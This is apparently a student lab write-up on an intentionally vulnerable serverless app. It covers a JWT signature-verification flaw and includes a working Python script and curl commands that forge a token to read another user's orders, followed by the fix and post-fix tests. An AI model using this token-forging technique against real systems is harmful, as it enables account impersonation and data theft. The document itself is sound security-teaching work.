

Goal & Summary:

This vulnerability demonstrates broken authentication caused by improper JWT validation. The system trusts identity fields such as `username` and `sub` from the token without verifying its signature. As a result, an attacker can modify these fields and impersonate another user, gaining unauthorized access to their order data.

Why it works (Root Cause):

The backend decodes the JWT payload but does not verify its signature. Since the payload is not protected, an attacker can modify identity-related fields such as `username` and `sub`, re-encode the token, and reuse the original signature. Because the system does not validate the signature, it accepts the modified token as valid.

Environment:

DVSA deployed on AWS

API Gateway `/order` endpoint

Two users created: User1 (attacker) and User2 (victim)

Tools used: browser DevTools, terminal (`curl`, `python3`)

Reproduction Steps:

Created two users (User1 and User2) and placed orders.

Captured JWT tokens from browser DevTools.

Decoded JWT payload to extract identity fields.

Modified User1 token by replacing `username` and `sub` with User2 values.

Re-encoded the payload and reused the original token signature.

Sent request to `/order` API using forged token.

Evidence & Proof:

To verify the vulnerability, both normal and exploit behaviors were tested using the `/order` API endpoint.

First, a request was sent using a valid token belonging to User1 (attacker). The response returned only User1's order data, confirming that under normal conditions, users can only access their own orders.

Next, the JWT token of User1 was modified by changing the username and sub fields in the payload to match User2 (victim), while keeping the original token signature unchanged. The modified (forged) token was then used to send the same request to the API.

The response returned User2's order instead of User1's, as shown by the different order ID. This confirms that the backend trusted the modified JWT payload without verifying its signature.

Therefore, the system allows an attacker to impersonate another user and access their data, proving the existence of a broken authentication vulnerability.

Figure 1

```

}
zm@Zs-MacBook-Pro ~ % curl -s "$API" \
-H "content-type: application/json" \
-H "authorization: $TOKEN_User1" \
--data-raw '{"action":"orders"}' | jq
{
  "status": "ok",
  "orders": [
    {
      "order-id": "dc3d3988-518c-4a0c-b91b-80f68734584e",
      "date": 1776894537,
      "total": 32,
      "status": "shipped",
      "token": "oJd8NCFBAUJL"
    }
  ]
}

```

Figure 2

```

[zm@Zs-MacBook-Pro ~ % export FAKE_AS_C="$(
python3 - <<'PY'
import os, json, base64
t = os.environ["TOKEN_User1"]
victim = os.environ["VICTIM_USER"]

h,p,s = t.split(".")
p += "=" * (-len(p) % 4)
data = json.loads(base64.urlsafe_b64decode(p.encode()))

data["username"] = victim
data["sub"] = victim

newp = base64.urlsafe_b64encode(
[ json.dumps(data, separators=(",", ":")).encode()
]).rstrip(b"=").decode()

print(f"{h}.{newp}.{s}")
PY
)"
zm@Zs-MacBook-Pro ~ % curl -s "$API" \
-H "content-type: application/json" \
-H "authorization: $FAKE_AS_C" \
--data-raw '{"action":"orders"}' | jq
{
  "status": "ok",
  "orders": [
    {
      "order-id": "c99e8bb4-00b8-4113-a986-9f35e9f5399b",
      "date": 1777050022,
      "total": 40,
      "status": "processed",
      "token": "To04M8oWFW6r"
    }
  ]
}

```

Figure 1 shows the normal behavior, where User1 can only access their own order (dc3d3988...).

Figure 2 shows the exploit result, where the forged token returns User2's order (c99e8bb4...), demonstrating unauthorized access.

The key evidence is that only the JWT payload was modified, yet the backend still authorized access, indicating that token integrity was not verified.

Fix Strategy:

The vulnerability is caused by the backend trusting JWT payload data without verifying its signature. This allows attackers to modify identity fields such as username and sub and impersonate other users.

To fix this issue, the backend must validate the integrity and authenticity of the JWT before using any of its claims. This is achieved by verifying the token's signature using trusted public keys from Amazon Cognito. Additionally, important claims such as the issuer and expiration time must be validated.

By enforcing proper JWT verification, any tampered or forged token will be rejected, preventing unauthorized access.

Config Changes:

The fix was applied in the Lambda function DVSA-ORDER-MANAGER, specifically in the file `order-manager.js`.

The original implementation decoded the JWT payload directly using base64 decoding and extracted the username field without verifying the token signature:

```
var auth_header = headers.Authorization || headers.authorization;
var token_sections = auth_header.split('.');
var auth_data = jose.util.base64url.decode(token_sections[1]);
var token = JSON.parse(auth_data);
var user = token.username;
```

This logic was replaced with a secure verification approach using the `node-jose` library. The updated implementation:

- Fetches public keys (JWKS) from Amazon Cognito
- Verifies the JWT signature
- Validates claims such as issuer and expiration
- Extracts the user identity only after successful verification

The updated code uses:

```
verifyCognitoJwt(jwt).then((claims) => {
  var user = claims.username || claims["cognito:username"] || claims.sub;
```

Additionally, a `.catch()` block was added to handle invalid tokens:

```
}).catch((e) => {
  return callback(null, {
```

```

        statusCode: 401,
        body: JSON.stringify({ status: "err", msg: "invalid token" })
    });
});

```

This ensures that any forged or tampered JWT is rejected before accessing backend functionality.

Verification After Fix :

After applying the fix, the same forged token used in the exploit phase was tested again. The backend rejected the request and returned an "invalid token" or unauthorized response, indicating that the modified JWT was no longer accepted.

A valid token belonging to User1 was then tested, and the system correctly returned only User1's order data. This confirms that the fix prevents unauthorized access while preserving normal functionality.

Therefore, the vulnerability has been successfully mitigated.

Fake token → rejected

```

}
-
zm@Zs-MacBook-Pro ~ % curl -s "$API" \
-H "content-type: application/json" \
-H "authorization: $FAKE_AS_C" \
--data-raw '{"action":"orders"}' | jq
{
  "status": "err",
  "msg": "invalid token"
}

```

Real token → still works

```

zm@Zs-MacBook-Pro ~ % curl -s "$API" \
-H "content-type: application/json" \
-H "authorization: $TOKEN_User1" \
--data-raw '{"action":"orders"}' | jq
{
  "status": "ok",
  "orders": [
    {
      "order-id": "dc3d3988-518c-4a0c-b91b-80f68734584e",
      "date": 1776894537,
      "total": 32,
      "status": "shipped",
      "token": "oJd8NCFBAUJL"
    }
  ]
}
-

```

Table A — Structured Analysis

Vulnerability	Intended Rule(s)	Artifacts Used to Infer Rule	Normal Behavior Evidence	Exploit Behavior Evidence
Broken Authentication (JWT)	Only a valid, verified JWT should determine user identity. A user must only access their own orders.	Browser login flow, API request to <code>/order</code> , JWT token structure, curl outputs, decoded token payload	Using User1's valid token, the API returned only User1's order (dc3d3988...).	After modifying the JWT payload (changing <code>username</code> and <code>sub</code> to User2), the forged token returned User2's order (c99e8bb4...).

Table B — Structured Analysis

Vulnerability	Why This Is a Deviation	Deviation Class	Fix Applied (Where)	Post-Fix Verification	Optional Latency
Broken Authentication (JWT)	The backend trusted identity claims (<code>username</code> , <code>sub</code>) from a JWT without verifying its signature. This allowed attacker-controlled data to determine access, violating authentication rules.	Intentional misuse / security-relevant abuse	Implemented JWT signature verification in <code>DVSA-ORDER-MANAGER (order-manager.js)</code> using <code>Cognito JWKS</code> and <code>node-jose</code> library.	After the fix, the forged token was rejected with an invalid token/unauthorized response, while a valid User1 token still returned correct data.	-

Lessons Learned

This lesson shows that trusting unverified JWT data is dangerous. By modifying the token payload, an attacker was able to impersonate another user and access their data. The fix ensures that tokens are properly verified before use, which prevents unauthorized access. The main takeaway is that authentication must always be based on verified and trusted data.